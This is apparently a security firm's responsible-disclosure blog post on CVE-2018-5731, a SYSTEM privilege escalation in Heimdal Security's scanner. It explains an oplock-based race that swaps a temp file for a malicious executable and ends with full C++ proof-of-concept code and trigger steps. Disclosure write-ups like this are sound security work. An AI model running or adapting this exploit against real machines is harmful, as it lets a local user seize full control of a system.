Privilege Escalation in Heimdal #2

This blog post highlights bugs found in installed software during customer engagements. Vulnerabilities will be published, when the vendor has provided fixes, or our deadline for the vendor to take action expires. This process is aligned with the Improsec Responsible Disclosure Policy.

The vulnerability was disclosed to Heimdal Security on 16 January 2018. The public disclosure date of 12 March, was agreed with Heimdal Security on 17 January  and by 2 March we received confirmation, that all running product versions are patched.

In these blog posts I tend to be a bit verbose and give some insights into the process. Concrete exploitation steps and code is listed at the bottom.

CVE-ID: CVE-2018-5731
Heimdal ticket: 24748

After reporting the first vulnerability to Heimdal, I decided to look for more low hanging fruits. I set up Procmon to filter on the Heimdal processes and played around with the GUI to see if I could trigger some interesting behavior.

I learned that starting a Scan from the menu, lead to a few new processes being started. Following the read of a file called “csismd.db”, the new process md.hs created a file in TEMP called CS1.tmp and subsequently executed it.

  Figure 1: Newly written file gets executed.

Figure 1: Newly written file gets executed.

This looked similar to the vulnerability in IBM Notes Smart Update Service described in an earlier blog post. Procmon did not reveal any DLLs being attempted loaded from the TEMP folder, so I had to have a closer look to see if it was exploitable.

Opening md.hs in Ida Pro, I could see that the operation basically consisted of the following calls: fopen(“wb”), fwrite(), fclose(), followed by CreateProcess.

  Figure 2: The vulnerable code.

Figure 2: The vulnerable code.

When fopen opens a file that already exists, the operation succeeds, and the contents of the file are truncated. This will allow us to create the file first, giving us full control over the permissions on the file.

We have to allow the fopen() operation to succeed, as CreateProcess would otherwise not be called. The small window between the call to fclose() closes the handle to the file, and CreateProcess reopens the file to load the image, should provide us with an opportunity to overwrite the file with a malicious executable, allowing our code to be run as SYSTEM.

To write my executable in this window, the md.hs thread must either be preempted by the scheduling of my thread, or my thread needs to be running on another processor and have a call to CreateFile occur in this window. I also need to have my file completely written when md.hs calls CreateProcess, as it otherwise would cause a SHARING_VIOLATION, resulting in my file not being run.

The solution I chose to this problem is heavily based on James Forshaws use of opportunistic locks in his exploit for a similar problem with Windows Defender. Opportunistic looks allow a process to hold a handle to a file, while giving them a window to get out of the way, if another process attempts to open the file in an incompatible mode. This allows, for example, an indexing application to read a file, but back off the moment someone tries to write to the file. Instead of the second process’ CreateFile call returning a SHARING_VIOLATION, it will just hold on returning till the existing handles user has signaled that it is done with the file, for example by closing the handle. (There’s more to it, but for our purposes, this will do.)

The final exploit involves the following steps:

  • Create the file CS1.tmp in TEMP. Set an oplock. This oplock is just used so we will not be running the resource intensive thread until the scan is actually running.
     
  • When the oplock is triggered we know that md.hs is opening the file for writing.
     
  • Holding the oplock, before allowing the file write, we start up a new high prioritized thread. This thread will always have priority over the thread in md.hs, so on a multiprocessor system it will never be possible to have the md.hs thread running while the high priority thread is not. (There might be some issues surrounding priority boosts by the scheduler, but it should not be a problem).
     
  • The high priority thread will spin in a tight loop trying to open the file with an opportunistic lock in an atomic operation. Every time it succeeds, it checks if the file contains data, an indicator that md.hs has performed the write.
     
  • If the file contains data, the file is overwritten with the malicious executable, and the handle closed. If not, it is instantly closed.
     
  • The CreateProcess call will succeed, and the malicious executable is run.

Windows Defender might try to sneak in a quick scan of the files in this process, but this should not disrupt our flow. Also, this code will not behave as intended if run on a single core cpu, as the highpriority thread will starve the md.hs process. I learned this the hard way, as I spent too much time debugging this in a Virtualbox vm, which by default is allotted only one CPU…

Recommendations

  • Make sure you are running the latest version of the product.

TL;DR

Exploitation steps:

  • Compile and run the following code:

//Parts of the code are copied from James Forshaws PoC to a Windows Defender vulnerability. 
#include "stdafx.h"

#pragma comment(lib, "shlwapi.lib")

typedef NTSTATUS(__stdcall *fZwOpenFile)(    
    _Out_ PHANDLE            FileHandle,
    _In_  ACCESS_MASK        DesiredAccess,
    _In_  POBJECT_ATTRIBUTES ObjectAttributes,
    _Out_ PIO_STATUS_BLOCK   IoStatusBlock,
    _In_  ULONG              ShareAccess,
    _In_  ULONG              OpenOptions
    );

typedef void(__stdcall *fRtlInitUnicodeString)(UNICODE_STRING* str, LPCWSTR ustr);

HANDLE OpenFileNative(LPCWSTR lpPath)
{
    fRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString");
    fZwOpenFile pfNtOpenFile = (fZwOpenFile)GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenFile");
    HANDLE hRet = NULL;
    UNICODE_STRING name;
    pfRtlInitUnicodeString(&name, lpPath);

    OBJECT_ATTRIBUTES objAttr;
    InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);

    IO_STATUS_BLOCK ioStatus = { 0 };

    NTSTATUS status = pfNtOpenFile(&hRet, SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE, &objAttr, &ioStatus, 0, FILE_OPEN_REQUIRING_OPLOCK | FILE_SYNCHRONOUS_IO_NONALERT);
    while (true)
    {
        status = pfNtOpenFile(&hRet, SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE, &objAttr, &ioStatus, 0, FILE_OPEN_REQUIRING_OPLOCK | FILE_SYNCHRONOUS_IO_NONALERT);
        if (status == 0)
        {
            if (GetFileSize(hRet, nullptr))
            {
                break;
            }
            CloseHandle(hRet);
        }
    }
    return hRet;
}


DWORD CALLBACK ReWriteThread(LPVOID arg)
{
    HANDLE hEvilFile = CreateFile(L"evil.exe", GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
    HANDLE hFile = OpenFileNative(L"\\??\\C:\\Windows\\Temp\\CS1.tmp");
    SetEndOfFile(hFile);

    WCHAR buf[4096];
    DWORD dwReadLen;

    while (ReadFile(hEvilFile, buf, sizeof(buf), &dwReadLen, nullptr) && dwReadLen > 0)
    {
        WriteFile(hFile, buf, dwReadLen, &dwReadLen, nullptr);
    }
    CloseHandle(hFile);
    exit(0);
}

int _tmain(int argc, _TCHAR* argv[])
{
    REQUEST_OPLOCK_INPUT_BUFFER inputBuffer;
    REQUEST_OPLOCK_OUTPUT_BUFFER outputBuffer;
    HANDLE hFile;
    DeleteFile(L"C:\\Windows\\Temp\\CS1.tmp");
    hFile = CreateFile(L"C:\\Windows\\Temp\\CS1.tmp", GENERIC_READ, 0, nullptr, CREATE_ALWAYS, 0, nullptr);
    CloseHandle(hFile);
    OVERLAPPED overlapped;
    overlapped.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);

    DWORD flags = FILE_FLAG_OVERLAPPED;
    inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
    inputBuffer.StructureLength = sizeof(inputBuffer);
    inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_WRITE | OPLOCK_LEVEL_CACHE_HANDLE;
    inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
    outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
    outputBuffer.StructureLength = sizeof(outputBuffer);

    hFile = CreateFileW(L"C:\\Windows\\Temp\\CS1.tmp", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE , nullptr, OPEN_EXISTING, flags, nullptr);

    DeviceIoControl(hFile, FSCTL_REQUEST_OPLOCK,    &inputBuffer, sizeof(inputBuffer), &outputBuffer, sizeof(outputBuffer),    nullptr, &overlapped);

    DWORD dwBytes;
    if (!GetOverlappedResult(hFile, &overlapped, &dwBytes, TRUE)) {
        DebugPrintf("Oplock Failed\n");
    }
    HANDLE hThread = CreateThread(nullptr, 0, ReWriteThread, (LPVOID) nullptr, 0, nullptr);

    SetThreadPriority(hThread, THREAD_PRIORITY_TIME_CRITICAL);
    Sleep(500);
    CloseHandle(hFile);
    Sleep(INFINITE);
    return 0;
}

  • Start scan manually or wait for it to start, it runs every hour by default.